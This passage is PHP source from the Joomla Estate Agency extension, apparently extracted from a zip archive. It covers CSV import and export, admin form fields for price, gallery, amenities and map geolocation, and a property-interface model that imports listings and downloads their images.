$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*')->from($db->escape($tableName));
$db->setQuery($query);
$rows = $db->loadRowList();
$csv = '';
foreach ($rows as $row)
{
$csv .= JeaHelperUtility::arrayToCSV($row);
}
return $csv;
}
/**
* Import rows from CSV file and return the number of inserted rows
*
* @param string $file The file path
* @param string $tableName The feature table name to insert csv data
*
* @return integer The number of inserted rows
*/
public function importFromCSV($file = '', $tableName =
'')
{
$row = 0;
if (($handle = fopen($file, 'r')) !== false)
{
$db = JFactory::getDbo();
$tableName = $db->escape($tableName);
$table = new FeaturesFactory($tableName, 'id', $db);
$cols = array_keys($table->getProperties());
$query = $db->getQuery(true);
$query->select('*')->from($tableName);
$db->setQuery($query);
$ids = $db->loadObjectList('id');
$query->clear();
$query->select('ordering')
->from($tableName)
->order('ordering DESC');
$db->setQuery($query);
$maxOrdering = $db->loadResult();
if ($maxOrdering == null)
{
$maxOrdering = 1;
}
while (($data = fgetcsv($handle, 1000, ';',
'"')) !== false)
{
$num = count($data);
$bind = array();
for ($c = 0; $c < $num; $c ++)
{
if (isset($cols[$c]))
{
$bind[$cols[$c]] = $data[$c];
}
}
if (isset($bind['id']) &&
isset($ids[$bind['id']]))
{
// Load row to update
$table->load((int) $bind['id']);
}
elseif (isset($bind['ordering']))
{
$bind['ordering'] = $maxOrdering;
$maxOrdering ++;
}
$table->save($bind, '', 'id');
// To force new insertion
$table->id = null;
$row ++;
}
}
return $row;
}
}
PKdx�[�V��models/fields/price.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for JEA.
* Provides a one line text field with currency symbol
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JFormFieldText
*
* @since 2.0
*/
class JFormFieldPrice extends JFormFieldText
{
/**
* The form field type.
*
* @var string
*/
protected $type = 'Price';
/**
* Method to change the label
*
* @param string $label The field label
*
* @return void
*/
public function setLabel($label = '')
{
$this->label = $label;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*/
protected function getInput()
{
$input = parent::getInput();
$params = JComponentHelper::getParams('com_jea');
$symbol_place = $params->get('symbol_place', 1);
$currency_symbol = $params->get('currency_symbol',
'€');
if ($symbol_place == 0)
{
return '<span class="input-prefix">' .
$currency_symbol . '</span> ' . $input;
}
return $input . ' <span class="input-suffix">'
. $currency_symbol . '</span>';
}
}
PKdx�[�2���models/fields/featurelist.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for JEA.
* Provides a list of features
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JFormField
*
* @since 2.0
*/
class JFormFieldFeatureList extends JFormField
{
/**
* The form field type.
*
* @var string
*/
public $type = 'featureList';
/**
* Method to get the list of features.
*
* @return string The field input markup.
*
* @see JHtmlFeatures
*/
protected function getInput()
{
JHtml::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_jea/helpers/html');
$subtype = (string) $this->element['subtype'];
$params = array(
'id' => $this->id,
'class' => (string) $this->element['class']
);
if (isset($this->element['size']))
{
$params['size'] = (string)
$this->element['size'];
}
if (isset($this->element['multiple']))
{
$params['multiple'] = (string)
$this->element['multiple'];
}
if (isset($this->element['onchange']))
{
$params['onchange'] = (string)
$this->element['onchange'];
}
$group = null;
switch ($this->form->getName())
{
case 'com_menus.item':
$group = 'params';
break;
case 'com_jea.properties.filter':
case 'com_jea.featurelist.filter':
$group = 'filter';
break;
}
// Verify if some fields have relashionship
$hasRelationShip = $this->_hasRelationShip();
switch ($subtype)
{
case 'departments':
if ($hasRelationShip)
{
$this->_ajaxUpdateList('department_id',
'town_id', 'get_towns');
}
break;
case 'towns':
if ($hasRelationShip)
{
$this->_ajaxUpdateList('town_id', 'area_id',
'get_areas');
return JHtml::_('features.towns', $this->value,
$this->name, $params,
$this->form->getValue('department_id', $group, null));
}
case 'areas':
if ($hasRelationShip)
{
return JHtml::_('features.areas', $this->value,
$this->name, $params, $this->form->getValue('town_id',
$group, null));
}
}
return JHtml::_('features.' . $subtype, $this->value,
$this->name, $params);
}
/**
* Verify relationship component parameter
*
* @return boolean
*/
private function _hasRelationShip()
{
if (isset($this->element['norelation']))
{
return false;
}
$params = JComponentHelper::getParams('com_jea');
return (bool) $params->get('relationship_dpts_towns_area',
1);
}
/**
* Add AJAX behavior
*
* @param string $fromId The Element ID where the event come from
* @param string $toId The target Element ID
* @param string $task The AJAX controller task
*
* @return void
*/
private function _ajaxUpdateList($fromId, $toId, $task)
{
if (isset($this->element['noajax']))
{
return;
}
if ($this->form->getName() == 'com_menus.item')
{
$fieldTo = $this->form->getField('filter_' . $toId,
'params');
}
else
{
$fieldTo = $this->form->getField($toId);
}
if (! empty($fieldTo->id))
{
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function($) {
$('#{$this->id}').change(function(e) {
$.ajax({
dataType: 'json',
url: 'index.php',
data:
'option=com_jea&format=json&task=features.{$task}&{$fromId}='
+ this.value,
success: function(response) {
var first = $('#{$fieldTo->id} option').first().clone();
$('#{$fieldTo->id}').empty().append(first);
if (response.length) {
$.each(response, function( idx, item ){
$('#{$fieldTo->id}').append($('<option></option>').text(item.value).attr('value',
item.id));
});
}
$('#{$fieldTo->id}').trigger('liszt:updated.chosen');
// Update jQuery choosen
}
});
});
});
"
);
}
}
}
PKdx�[�ip�
�
models/fields/gallery.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\CMS\Image\Image;
/**
* Form Field class for JEA.
* Provides a complete widget to manage a gallery
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JFormField
*
* @since 2.0
*/
class JFormFieldGallery extends JFormField
{
/**
* The form field type.
*
* @var string
*/
protected $type = 'Gallery';
/**
* Method to get the list of input[type="file"]
*
* @return string The field input markup.
*/
protected function getInput()
{
$params = JComponentHelper::getParams('com_jea');
if (is_string($this->value))
{
$images = (array) json_decode($this->value);
}
else
{
$images = (array) $this->value;
foreach ($images as $k => $image)
{
$images[$k] = (object) $image;
}
}
$propertyId = $this->form->getValue('id');
$baseURL = JUri::root(true);
$imgBaseURL = $baseURL . '/images/com_jea/images/' .
$propertyId;
$imgBasePath = JPATH_ROOT . '/images/com_jea/images/' .
$propertyId;
foreach ($images as $k => &$image)
{
$imgPath = $imgBasePath . '/' . $image->name;
try
{
$infos = Image::getImageFileProperties($imgPath);
}
catch (Exception $e)
{
$image->error = 'Recorded Image ' . $image->name .
' cannot be accessed';
continue;
}
$thumbName = 'thumb-admin-' . $image->name;
// Create the thumbnail
if (!file_exists($imgBasePath . '/' . $thumbName))
{
try
{
// This is where the JImage will be used, so only create it here
$JImage = new JImage($imgPath);
$thumb = $JImage->resize(150, 90);
$thumb->crop(150, 90, 0, 0);
$thumb->toFile($imgBasePath . '/' . $thumbName);
// To avoid memory overconsumption, destroy the JImage. We don't
need it anymore
$JImage->destroy();
$thumb->destroy();
}
catch (Exception $e)
{
$image->error = 'Thumbnail for ' . $image->name .
' cannot be generated';
continue;
}
}
$image->thumbUrl = $imgBaseURL . '/' . $thumbName;
$image->url = $imgBaseURL . '/' . $image->name;
// Kbytes
$image->weight = round($infos->bits / 1024, 1);
$image->height = $infos->height;
$image->width = $infos->width;
}
$layoutModel = array (
'uploadNumber' =>
$params->get('img_upload_number', 3),
'images' => $images,
'name' => $this->name,
);
return JLayoutHelper::render('jea.fields.gallery',
$layoutModel);
}
}
PKdx�[1�\&� � models/fields/amenities.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for JEA.
* Displays amenities as a list of check boxes.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JFormField
*
* @since 2.0
*/
class JFormFieldAmenities extends JFormField
{
/**
* The form field type.
*
* @var string
*/
protected $type = 'Amenities';
/**
* Flag to tell the field to always be in multiple values mode.
*
* @var boolean
*/
protected $forceMultiple = true;
/**
* Method to get the field input markup for check boxes.
*
* @return string The field input markup.
*/
protected function getInput()
{
$options = $this->getOptions();
$output = '<ul id="amenities">';
if (! empty($this->value))
{
// Preformat data if comes from db
if (! is_array($this->value))
{
$this->value = explode('-', $this->value);
}
}
else
{
$this->value = array();
}
foreach ($options as $k => $row)
{
$checked = '';
$class = '';
if (in_array($row->id, $this->value))
{
$checked = 'checked="checked"';
$class = 'active';
}
$title = '';
$label = JHtml::_('string.truncate', $row->value, 23,
false, false);
if ($row->value != $label)
{
$title = ' title="' . $row->value .
'"';
}
$output .= '<li class="amenity ' . $class .
'">';
$output .= '<input class="am-input"
type="checkbox" name="' . $this->name .
'"'
. ' id="' . $this->id . $k . '"
value="' . $row->id . '" ' . $checked . '
/>'
. '<label class="am-title" for="' .
$this->id . $k . '" ' . $title . '>' .
$label . '</label>';
$output .= '</li>';
}
$output .= '</ul>';
return $output;
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*/
protected function getOptions()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('f.id , f.value');
$query->from('#__jea_amenities AS f');
if (JFactory::getApplication()->isClient('site'))
{
$query->where('f.language in (' .
$db->quote(JFactory::getLanguage()->getTag()) . ',' .
$db->quote('*') . ')');
}
$query->order('f.value ASC');
$db->setQuery($query);
return $db->loadObjectList();
}
}
PKdx�[��+33models/fields/surface.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for JEA.
* Provides a one line text field with the surface symbol
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JFormFieldText
*
* @since 2.0
*/
class JFormFieldSurface extends JFormFieldText
{
/**
* The form field type.
*
* @var string
*/
protected $type = 'Surface';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*/
protected function getInput()
{
$input = parent::getInput();
$params = JComponentHelper::getParams('com_jea');
$surface_measure = $params->get('surface_measure',
'm²');
return $input . ' <span class="input-suffix">'
. $surface_measure . '</span>';
}
}
PKdx�[>Y�MM%models/fields/gatewayproviderlist.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\CMS\Filesystem\Folder;
JFormHelper::loadFieldClass('list');
/**
* Supports an HTML select list of gateway providers
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JFormFieldList
*
* @since 2.0
*/
class JFormFieldGatewayProviderList extends JFormFieldList
{
/**
* The form field type.
*
* @var string
*/
protected $type = 'GatewayProviderList';
/**
* The provider type (import or export).
*
* @var string
*/
protected $providerType = '';
/**
* Overrides parent method.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @see JFormField::__get()
*/
public function __get($name)
{
if ($name == 'providerType')
{
return $this->$name;
}
return parent::__get($name);
}
/**
* Overrides parent method.
*
* @param string $name The property name for which to the the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @see JFormField::__set()
*/
public function __set($name, $value)
{
if ($name == 'providerType')
{
$this->$name = (string) $value;
}
parent::__set($name, $value);
}
/**
* Overrides parent method.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value.
*
* @return boolean True on success.
*
* @see JFormField::setup()
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->providerType = (string)
$this->element['provider_type'];
}
return $return;
}
/**
* Overrides parent method.
*
* @return array The field option objects.
*
* @see JFormFieldList::getOptions()
*/
protected function getOptions()
{
$options = array();
$path = JPATH_ADMINISTRATOR .
'/components/com_jea/gateways/providers';
$folders = Folder::folders($path);
$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_DO_NOT_USE',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
foreach ($folders as $folder)
{
if (file_exists($path . '/' . $folder . '/' .
$this->providerType . '.xml'))
{
$options[] = JHtml::_('select.option', $folder, $folder);
}
}
return $options;
}
}
PKdx�[�����!models/fields/geolocalization.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for JEA.
* Displays button to geolocalize coordinates with a map.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JFormField
*
* @since 2.0
*/
class JFormFieldGeolocalization extends JFormField
{
/**
* The form field type.
*
* @var string
*
*/
protected $type = 'Geolocalization';
/**
* Method to get the button to geolocalize coordinates with a map.
*
* @return string The field input markup.
*/
protected function getInput()
{
$params = JComponentHelper::getParams('com_jea');
$ouptut = '';
// TODO : use JLayout
$ouptut = '<div class="button2-left">' .
"\n" .
'<div class="blank"><a class="modal btn
btn-info" href="#map-box-content"' .
' rel="{handler: \'clone\', size: {x: 800, y: 500},
onOpen:initBoxContent, onClose:closeBoxContent }">' .
JText::_('COM_JEA_MAP_OPEN') .
'</a></div>' . "\n" .
'</div>' . "\n" .
'<div id="map-box-content"
class="map-box-content" style="display:none">'
. "\n" . JText::_('COM_JEA_FIELD_LATITUDE_LABEL') .
' : <input type="text" readonly="readonly"
class="readonly input-latitude" value="" />' .
JText::_('COM_JEA_FIELD_LONGITUDE_LABEL') .
' : <input type="text" readonly="readonly"
class="readonly input-longitude" value="" />' .
'<div class="map-box-container" style="width:
100%; height: 480px"></div>' . "\n" .
'</div>' . "\n";
// Load the modal behavior script.
JHtml::_('behavior.modal');
$document = JFactory::getDocument();
$langs = explode('-', $document->getLanguage());
$lang = $langs[0];
$region = $langs[1];
$fieldDepartment =
$this->form->getField('department_id');
$fieldTown = $this->form->getField('town_id');
$fieldAddress = $this->form->getField('address');
$fieldLongitude = $this->form->getField('longitude');
$fieldLatitude = $this->form->getField('latitude');
$markerLabel =
addslashes(JText::_('COM_JEA_MAP_MARKER_LABEL'));
JFactory::getDocument()->addScriptDeclaration(
"
function initBoxContent(elementContent) {
var latitude =
document.id('{$fieldLatitude->id}').value;
var longitude =
document.id('{$fieldLongitude->id}').value;
var address =
document.id('{$fieldAddress->id}').value;
var town =
document.id('{$fieldTown->id}').getSelected().pick();
var department =
document.id('{$fieldDepartment->id}').getSelected().pick();
var zoom = 6;
var request = '{$lang}';
if (address && town &&
town.get('value') > 0){
zoom = 16;
request = address + ', ' +
town.get('text') + ', {$lang}';
} else if (town && town.get('value') >
0){
zoom = 13;
request = town.get('text') + ',
{$lang}';
} else if (department &&
department.get('value') > 0) {
zoom = 8;
request = department.get('text') + ',
{$lang}';
}
var inputLatitude =
elementContent.getElement('.input-latitude');
var inputLongitude =
elementContent.getElement('.input-longitude');
var mapContainer =
elementContent.getElement('.map-box-container');
var initMap = function(myLatlng) {
inputLongitude.set('value', myLatlng.lng());
inputLatitude.set('value', myLatlng.lat());
var options = {
zoom : zoom,
center : myLatlng,
mapTypeId : google.maps.MapTypeId.ROADMAP
};
var map = new google.maps.Map(mapContainer, options);
var marker = new google.maps.Marker({
position: myLatlng,
map: map,
title: '{$markerLabel}',
draggable: true,
cursor: 'move'
});
google.maps.event.addListener(marker,
'dragend', function(mouseEvent) {
inputLongitude.setProperty('value',
mouseEvent.latLng.lng());
inputLatitude.setProperty('value',
mouseEvent.latLng.lat());
});
};
elementContent.getElement('.map-box-content').setStyle('display',
'block');
if (longitude != 0 && latitude != 0) {
var myLatlng = new
google.maps.LatLng(latitude,longitude);
initMap(myLatlng);
} else {
var geocoder = new google.maps.Geocoder();
var opts = {'address':request,
'language':'{$lang}',
'region':'{$region}'};
var retry = 0;
var geocodeCallBack = function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
var myLatlng = results[0].geometry.location;
initMap(myLatlng);
} else if (status ==
google.maps.GeocoderStatus.ZERO_RESULTS && retry < 3 ) {
if (town && town.get('value')
> 0 && retry == 0) {
// retry with town
zoom = 13;
request = town.get('text') +
', {$lang}';
} else if (department &&
department.get('value') > 0 && retry == 1) {
// retry with department
zoom = 8;
request = department.get('text')
+ ', {$lang}';
} else {
zoom = 6;
request = '{$lang}';
}
var opts = {'address':request,
'language':'{$lang}',
'region':'{$region}'};
geocoder.geocode(opts, geocodeCallBack);
retry++;
}
};
geocoder.geocode(opts, geocodeCallBack);
}
}
function closeBoxContent(elementContent)
{
document.id('{$fieldLatitude->id}').set('value',
elementContent.getElement('.input-latitude').value);
document.id('{$fieldLongitude->id}').set('value',
elementContent.getElement('.input-longitude').value);
}"
);
JFactory::getDocument()->addScript(
'https://maps.google.com/maps/api/js?key=' .
$params->get('googlemap_api_key') .
'&language=' . $lang . '&region=' .
$region
);
return $ouptut;
}
}
PKdx�[�eؤA�Amodels/propertyInterface.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\User\User;
use Joomla\CMS\Mail\MailHelper;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/tables/property.php';
/**
* JEAPropertyInterface model class.
*
* This class provides an interface between JEA data and third party
bridges
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JEAPropertyInterface extends JObject
{
// These public members concern the interface
public $ref = '';
public $title = '';
public $type = '';
public $transaction_type = '';
/**
* Renting or selling price
*
* @var string
*/
public $price = '';
public $address = '';
public $town = '';
public $area = '';
public $zip_code = '';
public $department = '';
public $condition = '';
public $living_space = '';
public $land_space = '';
public $rooms = '';
public $bedrooms = '';
public $charges = '';
public $fees = '';
public $deposit = '';
public $hot_water_type = '';
public $heating_type = '';
public $bathrooms = '';
public $toilets = '';
public $availability = '';
public $floor = 0;
public $floors_number = 0;
public $orientation = '0';
public $amenities = array();
public $description = '';
public $author_name = '';
public $author_email = '';
public $latitude = 0;
public $longitude = 0;
/**
* Timestamp
*
* @var integer
*/
public $created = 0;
/**
* Timestamp
*
* @var integer
*/
public $modified = 0;
public $images = array();
public $language = '*';
/**
* A callback which replace the default implementation to save images.
* This should be a function or a method but not a closure because
* this object needs to be serialised and closures can't be
serialized
*
* @var string|array
*/
public $saveImagesCallback = null;
/**
* Fields which are not in the standard JEA interface
*
* @var array
*/
protected $additionnalsFields = array();
/**
* The users array from Joomla
*
* @var array
*/
protected static $users = null;
/**
* The tables data array from JEA
*
* @var array
*/
protected static $tables = null;
/**
* The features data array from JEA
*
* @var array
*/
protected static $features = array();
/**
* Convert Interface data to JEA data
*
* @return array representing a JEA propery row
*/
protected function toJEAData()
{
$data = array(
'ref' => $this->ref,
'title' => $this->title,
'type_id' => self::getFeatureId('types',
$this->type, $this->language),
'price' => floatval($this->price),
'address' => $this->address,
'department_id' =>
self::getFeatureId('departments', $this->department),
'zip_code' => $this->zip_code,
'condition_id' =>
self::getFeatureId('conditions', $this->condition,
$this->language),
'living_space' => floatval($this->living_space),
'land_space' => floatval($this->land_space),
'rooms' => intval($this->rooms),
'bedrooms' => intval($this->bedrooms),
'charges' => floatval($this->charges),
'fees' => floatval($this->fees),
'deposit' => floatval($this->deposit),
'hot_water_type' =>
self::getFeatureId('hotwatertypes', $this->hot_water_type,
$this->language),
'heating_type' =>
self::getFeatureId('heatingtypes', $this->heating_type,
$this->language),
'bathrooms' => intval($this->bathrooms),
'toilets' => intval($this->toilets),
'availability' =>
$this->_convertTimestampToMysqlDate($this->availability, false),
'floor' => intval($this->floor),
'floors_number' => (int) $this->floors_number,
'orientation' => $this->orientation,
'description' => $this->description,
'published' => 1,
'created' =>
$this->_convertTimestampToMysqlDate($this->created),
'modified' =>
$this->_convertTimestampToMysqlDate($this->modified),
'created_by' => self::getUserId($this->author_email,
$this->author_name),
'latitude' => floatval($this->latitude),
'longitude' => floatval($this->longitude),
'language' => $this->language
);
$this->transaction_type = strtoupper($this->transaction_type);
if ($this->transaction_type == 'RENTING' ||
$this->transaction_type == 'SELLING')
{
$data['transaction_type'] = $this->transaction_type;
}
else
{
$data['transaction_type'] = '0';
}
$data['town_id'] = self::getFeatureId('towns',
$this->town, null, $data['department_id']);
$data['area_id'] = self::getFeatureId('areas',
$this->area, null, $data['town_id']);
$orientations =
array('0','N','NE','NW','NS','E','EW','W','SW','SE');
$orientation = strtoupper($this->orientation);
if (in_array($orientation, $orientations))
{
$data['orientation'] = $orientation;
}
else
{
$data['orientation'] = 'O';
}
if (is_array($this->amenities))
{
$data['amenities'] = array();
foreach ($this->amenities as $value)
{
$data['amenities'][] =
self::getFeatureId('amenities', $value, $this->language);
}
}
$validExtensions = array('jpg', 'JPG',
'jpeg', 'JPEG', 'gif', 'GIF',
'png', 'PNG');
$data['images'] = array();
foreach ($this->images as $image)
{
if (substr($image, 0, 4) == 'http')
{
$uri = new \Joomla\Uri\Uri($image);
$image = $uri->getPath();
}
$image = basename($image);
if (! empty($image))
{
if (in_array(File::getExt($image), $validExtensions))
{
$img = new stdClass;
$img->name = $image;
$img->title = '';
$img->description = '';
$data['images'][] = $img;
}
}
}
return $data;
}
/**
* Add a custom field to the interface
*
* @param string $fieldName The custom field name
* @param string $value The custom field value
*
* @return void
*/
public function addAdditionalField($fieldName = '', $value =
'')
{
$this->additionnalsFields[$fieldName] = $value;
}
/**
* Save the property
*
* @param string $provider A provider name
* @param number $id The property id
* @param boolean $forceUTF8 To force string to be converted into
UTF-8
*
* @return boolean return true if property was saved
*/
public function save($provider = '', $id = 0, $forceUTF8 =
false)
{
$db = JFactory::getDbo();
$property = new TableProperty($db);
$isNew = true;
$dispatcher = JDispatcher::getInstance();
// Include the jea plugins for the on save events.
JPluginHelper::importPlugin('jea');
if (! empty($id))
{
$property->load($id);
$isNew = false;
}
// Prepare data
$data = $this->toJEAData();
foreach ($this->additionnalsFields as $fieldName => $value)
{
$data[$fieldName] = $value;
}
if (! empty($provider))
{
$data['provider'] = $provider;
}
if ($forceUTF8)
{
foreach ($data as $k => $v)
{
switch ($k)
{
case 'title':
case 'description':
case 'address':
$data[$k] = utf8_encode($v);
}
}
}
$property->bind($data);
$property->check();
// Check override created_by
if (! empty($data['created_by']))
{
$property->created_by = $data['created_by'];
}
// Trigger the onContentBeforeSave event.
$result = $dispatcher->trigger('onBeforeSaveProperty',
array('com_jea.propertyInterface', &$property, $isNew));
if (in_array(false, $result, true))
{
$this->_errors = $property->getError();
return false;
}
$property->store();
// Trigger the onContentAfterSave event.
$dispatcher->trigger('onAfterSaveProperty',
array('com_jea.propertyInterface', &$property, $isNew));
$errors = $property->getErrors();
if (! empty($errors))
{
$this->_errors = $errors;
return false;
}
// Save images
if (!empty($this->images) && $this->saveImagesCallback ===
null)
{
$imgDir = JPATH_ROOT . '/images/com_jea/images/' .
$property->id;
if (!Folder::exists($imgDir))
{
Folder::create($imgDir);
}
$validExtensions = array('jpg', 'JPG',
'jpeg', 'JPEG', 'gif', 'GIF',
'png', 'PNG');
foreach ($this->images as $image)
{
$basename = basename($image);
if (substr($image, 0, 4) == 'http')
{
$uri = new \Joomla\Uri\Uri($image);
$basename = basename($uri->getPath());
}
if (!in_array(File::getExt($basename), $validExtensions))
{
// Not a valid Extension
continue;
}
if (substr($image, 0, 4) != 'http' &&
file_exists($image))
{
File::copy($image, $imgDir . '/' . $basename);
}
if (substr($image, 0, 4) == 'http')
{
if (File::exists($imgDir . '/' . $basename))
{
$localtime = $this->getLastModified($imgDir . '/' .
$basename);
$remotetime = $this->getLastModified($image);
if ($remotetime <= $localtime)
{
JLog::add(
sprintf(
"File %s is up to date. [local time: %u - remote time:
%u]",
$imgDir . '/' . $basename,
$localtime,
$remotetime
),
JLog::DEBUG,
'jea'
);
continue;
}
}
$this->downloadImage($image, $imgDir . '/' . $basename);
}
}
}
elseif (!empty($this->images) &&
is_callable($this->saveImagesCallback))
{
call_user_func_array($this->saveImagesCallback,
array($this->images, $property));
}
return true;
}
/**
* Download an image
*
* @param string $url The image URL
* @param string $dest The destination directory
*
* @return boolean
*/
protected function downloadImage($url = '', $dest =
'')
{
JLog::add("Download Image : $url", JLog::DEBUG,
'jea');
if (empty($url) || empty($dest))
{
return false;
}
$buffer = '';
$allow_url_fopen = (bool) ini_get('allow_url_fopen');
if ($allow_url_fopen)
{
$buffer = file_get_contents($url);
}
elseif (function_exists('curl_init'))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// Don't check SSL certificate
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$buffer = curl_exec($ch);
curl_close($ch);
}
return File::write($dest, $buffer);
}
/**
* Get Last modified time as Unix timestamp
*
* @param string $file A local or remote file
*
* @throws RuntimeException
* @return integer Unix timestamp
*/
public function getLastModified($file)
{
if (substr($file, 0, 4) != 'http' &&
file_exists($file))
{
$stat = stat($file);
return $stat['mtime'];
}
$allow_url_fopen = (bool) ini_get('allow_url_fopen');
$headers = array();
if ($allow_url_fopen)
{
$headers = get_headers($file);
}
elseif (function_exists('curl_init'))
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $file);
// Don't check SSL certificate
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_FILETIME, true);
curl_setopt($curl, CURLOPT_NOBODY, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, true);
$out = curl_exec($curl);
curl_close($curl);
$headers = explode("\n", $out);
}
if (empty($headers))
{
throw new RuntimeException("Cannot get HTTP headers for
$file");
}
foreach ($headers as $header)
{
if (strpos($header, 'Last-Modified') !== false)
{
$matches = array();
if (preg_match('/:\s?(.*)$/m', $header, $matches) !== false)
{
$matches[1];
JLog::add(sprintf("Last-Modified: %s - Time: %u",
$matches[1], strtotime($matches[1])), JLog::DEBUG, 'jea');
return strtotime($matches[1]);
}
}
}
return 0;
}
/**
* Get Feature id related to its value
*
* @param string $tableName The feature table name
* @param string $fieldValue The value to store
* @param string $language The language code
* @param integer $parentId An optional parent id
*
* @return integer
*/
public static function getFeatureId($tableName = '', $fieldValue
= '', $language = null, $parentId = 0)
{
$fieldValue = trim($fieldValue);
$id = 0;
$r = self::_getJeaRowIfExists($tableName, 'value',
$fieldValue);
static $tablesOrdering = array();
if ($r === false && ! empty($fieldValue) && !
isset(self::$features[$tableName][$fieldValue]))
{
$db = JFactory::getDbo();
if (! isset($tablesOrdering[$tableName]))
{
$db->setQuery('SELECT MAX(ordering) FROM #__jea_' .
$tableName);
$tablesOrdering[$tableName] = intval($db->loadResult());
}
$maxord = $tablesOrdering[$tableName] += 1;
$query = $db->getQuery(true);
$query->insert('#__jea_' . $tableName);
$columns = array('value', 'ordering');
$values = $db->quote($fieldValue) . ',' . $maxord;
if ($tableName == 'towns')
{
$columns[] = 'department_id';
$values .= ',' . (int) $parentId;
}
elseif ($tableName == 'areas')
{
$columns[] = 'town_id';
$values .= ',' . (int) $parentId;
}
if ($language != null)
{
$columns[] = 'language';
$values .= ',' . $query->q($language);
}
$query->columns($columns);
$query->values($values);
$db->setQuery($query);
$db->query();
$id = $db->insertid();
self::$features[$tableName][$fieldValue] = $id;
}
elseif (isset(self::$features[$tableName][$fieldValue]))
{
$id = self::$features[$tableName][$fieldValue];
}
elseif (is_object($r))
{
$id = $r->id;
}
return $id;
}
/**
* Return a feature row if already extis in the database
*
* @param string $tableName The feature table name
* @param string $fieldName The feature field name
* @param string $fieldValue The feature field value
*
* @return boolean|object The feature row object or false if feature not
found
*/
protected static function _getJeaRowIfExists($tableName = '',
$fieldName = '', $fieldValue = '')
{
if (self::$tables === null)
{
$db = JFactory::getDbo();
self::$tables = array();
$tables = array(
'amenities',
'areas',
'conditions',
'departments',
'heatingtypes',
'hotwatertypes',
'properties',
'slogans',
'towns',
'types'
);
foreach ($tables as $tableName)
{
// Get all JEA datas
$db->setQuery('SELECT * FROM #__jea_' . $tableName);
self::$tables[$tableName] = $db->loadObjectList('id');
}
}
